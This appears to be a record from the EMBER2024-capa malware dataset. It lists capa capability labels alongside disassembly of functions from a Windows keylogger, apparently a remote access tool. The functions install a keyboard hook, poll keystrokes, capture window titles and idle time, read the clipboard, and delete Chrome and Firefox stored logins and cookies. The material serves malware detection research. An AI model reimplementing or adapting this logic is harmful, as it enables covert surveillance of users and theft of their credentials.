joyce8/EMBER2024-capa huggingface dataset:
Function at 0xb2799e
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
mov eax, 0x186e4
call fcn.00b77730
push ebx
push ebp
push esi
mov esi, ecx
lea edx, [esp + 0x186fc]
push edi
xorps xmm0, xmm0
mov dword [esp + 0x18], esi
xor ebx, ebx
movlpd qword [esp + 0x10], xmm0
push 0xb8653c
lea ecx, [esp + 0x3c]
mov dword [esp + 0x20], ebx
call fcn.00b29196
pop ecx
push eax
lea ecx, [esp + 0x24]
call fcn.00b23262
lea ecx, [esp + 0x38]
call fcn.00b21f09
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [esp + 0x38]
call fcn.00b21f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
mov eax, dword [esp + 0x186fc]
cmp dword [esp + 0x14], eax
ja 0xb27a87
mov edi, dword [esp + 0x186f8]
jae 0xb27a81
push ecx
push 0x186a0
lea eax, [esp + 0x58]
mov ecx, esi
push eax
call fcn.00b24b96
mov esi, eax
cdq
add dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push ebx
adc dword [esp + 0x18], edx
push eax
push esi
lea eax, [esp + 0x5c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push 8
push eax
call fcn.00b220b7
mov ecx, dword [esp + 0x30]
push 0x57
call fcn.00b24aa1
test esi, esi
jle 0xb27acf
mov eax, dword [esp + 0x186fc]
mov esi, dword [esp + 0x18]
cmp dword [esp + 0x14], eax
jb 0xb27a1e
ja 0xb27a87
cmp dword [esp + 0x10], edi
jb 0xb27a1e
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18700]
call fcn.00b21f04
push eax
lea ecx, [esp + 0x24]
call fcn.00b21f04
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00b21f09
lea ecx, [esp + 0x18700]
call fcn.00b21f09
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x186e4
ret
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x20]
call fcn.00b21f04
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0xb27aad

Function at 0xb27ae8
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.00b220df
lea ecx, [ebp + 8]
call fcn.00b21fab
mov edi, eax
jmp 0xb27b6f
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.00b61ed1
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00b22093
mov ecx, eax
call fcn.00b21fab
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.00b26c59
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00b291d8
pop ecx
push eax
mov ecx, esi
call fcn.00b21fe2
lea ecx, [ebp - 0x1c]
call fcn.00b21fd8
lea ecx, [ebp - 0x34]
call fcn.00b21fd8
lea ecx, [ebp - 0x4c]
call fcn.00b21fd8
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0xb27b03
lea ecx, [ebp + 8]
call fcn.00b21fd8
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xb29ede
Capabilities:
Get keyboard layout

Disassembly:
sub esp, 0x194
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x1a8]
add ecx, 0x98
push eax
call fcn.00b21fc0
xor eax, eax
mov byte [esp + 0x14], al
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov ebp, 0xb951a8
mov ecx, ebp
call fcn.00b2482d
push ecx
mov ecx, ebp
call fcn.00b248c8
push dword [0xb95140]
lea ecx, [esp + 0x24]
call fcn.00b2417e
push 0x12
mov ecx, 0xb950e4
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
mov edx, dword [0xb9513c]
lea ecx, [esp + 0x188]
mov esi, eax
call fcn.00b3bc1f
sub esp, 0x18
lea edx, [esp + 0x38]
mov edi, esp
lea ecx, [esp + 0x188]
mov ebx, 0xb94ee0
push eax
push ebx
call fcn.00b3bdaf
push eax
push ebx
lea eax, [esp + 0x1d0]
mov ecx, 0xb95158
push eax
push ebx
call fcn.00b21f04
mov ecx, eax
call fcn.00b3c5a6
mov edx, eax
lea ecx, [esp + 0x188]
call fcn.00b3bc1f
mov edx, dword [0xb951a0]
lea ecx, [esp + 0x170]
push eax
push ebx
call fcn.00b3bc1f
push eax
movzx eax, byte [esi]
lea edx, [esp + 0x50]
push ebx
push eax
push ebx
lea ecx, [esp + 0x170]
call fcn.00b2531e
pop ecx
mov edx, eax
lea ecx, [esp + 0x154]
call fcn.00b291d8
pop ecx
mov edx, eax
lea ecx, [esp + 0x138]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [esp + 0x11c]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x100]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [esp + 0xe4]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0xc8]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [esp + 0xac]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [esp + 0x90]
call fcn.00b22f10
pop ecx
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00b22ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.00b22f10
pop ecx
mov edx, eax
mov ecx, edi
call fcn.00b22ea1
pop ecx
push 0x12
mov ecx, ebp
call fcn.00b24aa1
lea ecx, [esp + 0x38]
mov esi, eax
call fcn.00b21fd8
lea ecx, [esp + 0x50]
call fcn.00b21fd8
lea ecx, [esp + 0x68]
call fcn.00b21fd8
lea ecx, [esp + 0x80]
call fcn.00b21fd8
lea ecx, [esp + 0x98]
call fcn.00b21fd8
lea ecx, [esp + 0xb0]
call fcn.00b21fd8
lea ecx, [esp + 0xc8]
call fcn.00b21fd8
lea ecx, [esp + 0xe0]
call fcn.00b21fd8
lea ecx, [esp + 0xf8]
call fcn.00b21fd8
lea ecx, [esp + 0x110]
call fcn.00b21fd8
lea ecx, [esp + 0x128]
call fcn.00b21fd8
lea ecx, [esp + 0x140]
call fcn.00b21fd8
lea ecx, [esp + 0x158]
call fcn.00b21fd8
lea ecx, [esp + 0x170]
call fcn.00b21fd8
lea ecx, [esp + 0x188]
call fcn.00b21fd8
lea ecx, [esp + 0x20]
call fcn.00b21f09
lea ecx, [esp + 0x1a8]
call fcn.00b21fd8
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x194
ret 0x18
Function at 0xb2a1b4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x68]
mov byte [esi + 0x49], 1
call fcn.00b2b927
cmp dword [esi + 0x4c], 2
mov edi, str.Offline_Keylogger_Started
je 0xb2a205
push edi
lea ecx, [esp + 0x14]
call fcn.00b22093
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.00b3bcef
mov ecx, esi
call fcn.00b2b19f
lea ecx, [esp + 0x10]
call fcn.00b21fd8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00b22093
sub esp, 0x18
mov ecx, esp
push 0xb85fb4
call fcn.00b22093
call fcn.00b3b580
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0xb2a2b8
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0xb2a24b
push ebx
push ebx
push esi
push 0xb2a2a2
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0xb2a2c4
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.00b21f09
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0xb2a268
Capabilities:
Create thread

Disassembly:
lea eax, [esp + 4]
mov ecx, 0xb95158
push eax
call fcn.00b2b927
cmp byte [0xb95139], 0
jne 0xb2a296
xor eax, eax
push eax
push eax
push 0xb950f0
push 0xb2a2ae
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 4]
call fcn.00b21f09
ret 0x18

Function at 0xb2a2f3
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0xb92b24], esi
cmp dword [esi], edi
jne 0xb2a36e
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0xb2a2df
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0xb2a36e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.00b3bc1f
sub esp, 0x18
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esp
push eax
call fcn.00b252fd
sub esp, 0x14
mov ecx, esp
push 0xb85f18
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00b21fd8
xor eax, eax
inc eax
jmp 0xb2a39c
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0xb2a39a
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0xb2a36e
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0xb2a41b
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
sub esp, 0x148
push ebx
push ebp
push esi
push edi
push 0x100
lea eax, [esp + 0x5c]
mov esi, ecx
push 0
push eax
mov dword [esp + 0x1c], esi
call fcn.00b56f10
add esp, 0xc
lea edi, [esp + 0x1a]
xor eax, eax
mov word [esp + 0x18], ax
push 7
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x10
mov ebp, eax
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push ebp
push 0
push 0x10
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x68]
push eax
push dword [esi + 0x58]
lea ebx, [esi + 0x54]
mov esi, dword [sym.imp.USER32.dll_ToUnicodeEx]
push dword [ebx]
call esi
cmp eax, 0xffffffff
je 0xb2a511
cmp dword [0xb96b18], 0
je 0xb2a50b
xor eax, eax
lea edi, [esp + 0x3a]
push 7
mov word [esp + 0x3c], ax
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.00b5f859
push 0x100
xor ebx, ebx
lea eax, [esp + 0x64]
push ebx
push eax
call fcn.00b56f10
add esp, 0x14
lea eax, [esp + 0x18]
push ebp
push ebx
push 0x10
push eax
lea eax, [esp + 0x68]
push eax
push dword [0xb96b1c]
push dword [0xb96b18]
call esi
mov dword [0xb96b18], ebx
lea eax, [esp + 0x38]
push eax
jmp 0xb2a544
lea eax, [esp + 0x18]
jmp 0xb2a508
push 5
pop ecx
mov esi, ebx
mov edi, 0xb96b18
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x10]
push ebp
push 0
push 0x10
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x68]
push eax
push dword [esi + 0x58]
push dword [ebx]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
test eax, eax
js 0xb2a521
push 0xb86478
mov ecx, dword [esp + 0x160]
call fcn.00b2417e
mov eax, dword [esp + 0x15c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x148
ret 4

Function at 0xb2a6b0
Capabilities:
Get file size

Disassembly:
mov eax, dword [0xb951a0]
or eax, dword [0xb951a4]
push ebx
push esi
push edi
mov esi, ecx
je 0xb2a75d
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push closesocket
mov ecx, 0xb95158
call fcn.00b21f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0xb2a731
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp ebx, dword [0xb951a4]
jb 0xb2a728
ja 0xb2a70d
cmp eax, dword [0xb951a0]
jb 0xb2a728
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0xb2a71d
mov ecx, esi
call fcn.00b2b117
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0xb2a734
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0xb2a6cb
cmp byte [esi + 0x49], bl
jne 0xb2a75d
cmp dword [0xb9513c], 1
jne 0xb2a75d
sub esp, 0x18
lea eax, [esi + 0x68]
mov ecx, esp
push eax
call fcn.00b29097
mov ecx, esi
call fcn.00b2a1b4
pop edi
pop esi
pop ebx
ret
Function at 0xb2a761
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x460
push ebx
push ebp
mov ebx, ecx
push esi
push edi
lea ebp, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebx
call fcn.00b2a6b0
mov edx, 0xb86478
mov ecx, ebp
call fcn.00b277f2
test al, al
je 0xb2a968
mov ecx, 0xb95170
call fcn.00b26b63
test al, al
jne 0xb2a7bd
push 0
mov ecx, 0xb95170
call fcn.00b21f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx + 0x68]
mov ecx, edi
call fcn.00b21f04
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0xb2a7e5
push 0x80
mov ecx, edi
call fcn.00b21f04
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x12
mov ecx, 0xb950e4
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
cmp byte [eax], 0
jne 0xb2a829
push 1
mov ecx, edi
call fcn.00b21f04
push eax
mov ecx, ebp
call fcn.00b2247c
mov esi, eax
mov ecx, ebp
add esi, esi
call fcn.00b21f04
mov edx, esi
mov ecx, eax
call fcn.00b3c482
pop ecx
pop ecx
jmp 0xb2a934
lea ecx, [esp + 0x10]
call fcn.00b220df
mov ecx, 0xb95338
call fcn.00b2247c
push eax
mov ecx, 0xb95338
call fcn.00b21fab
push eax
lea ecx, [esp + 0x78]
call fcn.00b26cf2
mov ecx, edi
call fcn.00b21f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0xb2a8c0
lea ecx, [esp + 0x28]
call fcn.00b220df
mov ecx, edi
call fcn.00b21f04
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.00b3c516
test al, al
je 0xb2a8b7
lea ecx, [esp + 0x28]
call fcn.00b2247c
push eax
lea ecx, [esp + 0x2c]
call fcn.00b21fab
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.00b26e13
push eax
lea ecx, [esp + 0x14]
call fcn.00b21fe2
lea ecx, [esp + 0x40]
call fcn.00b21fd8
lea ecx, [esp + 0x28]
call fcn.00b21fd8
mov ecx, ebp
call fcn.00b2247c
add eax, eax
mov ecx, ebp
push eax
call fcn.00b21f04
push eax
lea ecx, [esp + 0x48]
call fcn.00b220b7
push eax
lea ecx, [esp + 0x14]
call fcn.00b23376
lea ecx, [esp + 0x40]
call fcn.00b21fd8
lea ecx, [esp + 0x10]
call fcn.00b2247c
push eax
lea ecx, [esp + 0x14]
call fcn.00b21fab
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.00b26e13
mov ecx, edi
call fcn.00b21f04
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.00b3c583
lea ecx, [esp + 0x58]
call fcn.00b21fd8
lea ecx, [esp + 0x10]
call fcn.00b21fd8
push 0xb86478
mov ecx, ebp
call fcn.00b29092
push 0x13
mov ecx, 0xb950e4
call fcn.00b21e65
mov ecx, eax
call fcn.00b21fab
cmp byte [eax], 0
je 0xb2a968
push 6
mov ecx, edi
call fcn.00b21f04
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0xb2a776
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xb2ad11
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x49], 0
jne 0xb2ad2f
cmp byte [edi + 0x4a], 0
je 0xb2af20
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0xb96cf0]
cmp eax, dword [ecx + 4]
jle 0xb2ad79
push 0xb96cf0
call fcn.00b5445a
cmp dword [0xb96cf0], 0xffffffff
pop ecx
jne 0xb2ad79
mov ecx, 0xb96cf4
call fcn.00b21f86
push 0xb78060
call fcn.00b54801
mov dword [esp], 0xb96cf0
call fcn.00b5441b
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [esp + 0x28]
call fcn.00b2b93f
test esi, esi
je 0xb2ae4e
lea ecx, [esp + 0x20]
call fcn.00b2247c
push eax
lea ecx, [esp + 0x24]
call fcn.00b21f04
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0xb96cf4
lea ecx, [esp + 0x20]
call fcn.00b2ba07
test al, al
jne 0xb2ae4e
lea eax, [esp + 0x20]
mov ecx, 0xb96cf4
push eax
call fcn.00b2b927
lea ecx, [esp + 0x20]
call fcn.00b2247c
dec eax
lea ecx, [esp + 0x20]
push eax
call fcn.00b2907f
sub esp, 0x18
lea eax, [esp + 0x38]
cmp byte [0xb9513b], 0
je 0xb2ae1d
mov ecx, esp
push eax
call fcn.00b29097
mov ecx, edi
call fcn.00b2b19f
jmp 0xb2ae4e
mov esi, esp
lea ecx, [esp + 0x50]
push 0xb866fc
push eax
mov edx, 0xb86704
call fcn.00b2b9b7
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00b23014
pop ecx
mov ecx, edi
call fcn.00b2a671
lea ecx, [esp + 0x38]
call fcn.00b21f09
mov ecx, edi
call fcn.00b2b783
call fcn.00b3bb77
mov esi, 0xea60
cmp eax, esi
jb 0xb2af09
mov ebx, dword [esp + 0x10]
cmp byte [edi + 0x49], 0
jne 0xb2ae7b
cmp byte [edi + 0x4a], 0
je 0xb2af17
call fcn.00b3bb77
cmp eax, esi
jb 0xb2ae97
mov ebx, eax
push 0x3e8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0xb2ae6b
push 0xa
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov eax, ebx
div esi
push eax
call fcn.00b61ed1
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x68]
push str._minutes__r_n
push eax
call fcn.00b22093
push eax
mov edx, str._r_n_User_has_been_idle_for
lea ecx, [esp + 0x58]
call fcn.00b252fd
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.00b26383
sub esp, 0x14
mov edx, eax
mov ecx, esp
call fcn.00b3bcef
mov ecx, edi
call fcn.00b2a671
lea ecx, [esp + 0x38]
call fcn.00b21fd8
lea ecx, [esp + 0x50]
call fcn.00b21fd8
lea ecx, [esp + 0x68]
call fcn.00b21fd8
lea ecx, [esp + 0x20]
call fcn.00b21f09
jmp 0xb2ad1f
lea ecx, [esp + 0x20]
call fcn.00b21f09
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xb2af29
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x4a], 0
jne 0xb2afc3
mov edi, str.Online_Keylogger_Started
mov byte [esi + 0x4a], 1
push edi
lea ecx, [ebp - 0x18]
call fcn.00b22093
sub esp, 0x18
lea edx, [ebp - 0x18]
mov ecx, esp
call fcn.00b3bcef
mov ecx, esi
call fcn.00b2b19f
lea ecx, [ebp - 0x18]
call fcn.00b21fd8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00b22093
sub esp, 0x18
mov ecx, esp
push 0xb85fb4
call fcn.00b22093
call fcn.00b3b580
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor ebx, ebx
add esp, 0x30
cmp byte [esi + 0x49], bl
jne 0xb2afb7
cmp dword [esi], ebx
jne 0xb2afab
push ebx
push ebx
push esi
push 0xb2a2a2
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0xb2a2c4
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0xb2a2d0
push ebx
push ebx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xb2b749
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0xb2b76d
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0xb2b76d
push esi
jmp 0xb2b772
push 0xb86478
mov ecx, dword [esp + 0xc]
call fcn.00b2417e
mov eax, dword [esp + 8]
pop esi
ret 4

Function at 0xb2b8e7
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push ebx
push 0xb2a2b8
mov byte [esi + 0x49], bl
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp dword [esi], ebx
je 0xb2b916
push dword [esi]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0xb2a2a2
mov dword [esi], ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, esi
pop esi
pop ebx
jmp fcn.00b2b8a4

Function at 0xb2ba4d
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0xb869c4
call fcn.00b5c12a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00b22093
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00b26383
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00b21fd8
lea ecx, [ebp - 0x18]
call fcn.00b21fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0xb2bab4
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0xb2baa8
sub eax, 1
je 0xb2baa8
xor bl, bl
jmp 0xb2bacd
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0xb2babe
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00b22093
call fcn.00b2c213
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00b21fd8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xb2badc
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0xb869c4
call fcn.00b5c12a
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00b22093
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00b26383
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00b21fd8
lea ecx, [ebp - 0x18]
call fcn.00b21fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0xb2bb43
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0xb2bb37
sub eax, 1
je 0xb2bb37
xor bl, bl
jmp 0xb2bb5c
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0xb2bb4d
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00b22093
call fcn.00b2c213
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00b21fd8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xb2bb6b
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.00b220df
lea ecx, [ebp - 0x48]
call fcn.00b220df
lea ecx, [ebp - 0x18]
call fcn.00b220df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00b22093
push eax
push 0xb869c4
call fcn.00b5c12a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00b252fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00b21fe2
lea ecx, [ebp - 0x30]
call fcn.00b21fd8
lea ecx, [ebp - 0x78]
call fcn.00b21fd8
lea eax, [ebp - 0x1d0]
push eax
push 0xb86984
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00b26c59
pop ecx
mov ecx, eax
call fcn.00b21fab
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00b21fd8
cmp esi, 0xffffffff
jne 0xb2bd1f
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00b22093
call fcn.00b2c213
add esp, 0x18
jmp 0xb2bd53
test byte [ebp - 0x1d0], 0x10
je 0xb2bd1f
lea eax, [ebp - 0x1a4]
push 0xb86ae4
push eax
call fcn.00b5fd50
pop ecx
pop ecx
test eax, eax
je 0xb2bd1f
lea eax, [ebp - 0x1a4]
push 0xb86ae8
push eax
call fcn.00b5fd50
pop ecx
pop ecx
test eax, eax
je 0xb2bd1f
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.00b26c59
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00b26383
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00b21fe2
lea ecx, [ebp - 0x30]
call fcn.00b21fd8
lea ecx, [ebp - 0x90]
call fcn.00b21fd8
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00b26c59
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00b26383
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00b21fe2
lea ecx, [ebp - 0x90]
call fcn.00b21fd8
lea ecx, [ebp - 0x30]
call fcn.00b21fd8
lea ecx, [ebp - 0x60]
call fcn.00b21fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0xb2bd06
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00b21fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0xb2bd1f
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0xb2bc26
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00b22093
call fcn.00b2c213
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00b21fd8
lea ecx, [ebp - 0x48]
call fcn.00b21fd8
lea ecx, [ebp - 0x60]
call fcn.00b21fd8
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret